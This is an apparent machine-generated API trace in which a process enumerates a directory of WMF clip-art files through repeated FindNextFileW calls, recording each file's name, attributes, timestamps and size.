	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1
	[0277.084] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1
	[0277.086] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1
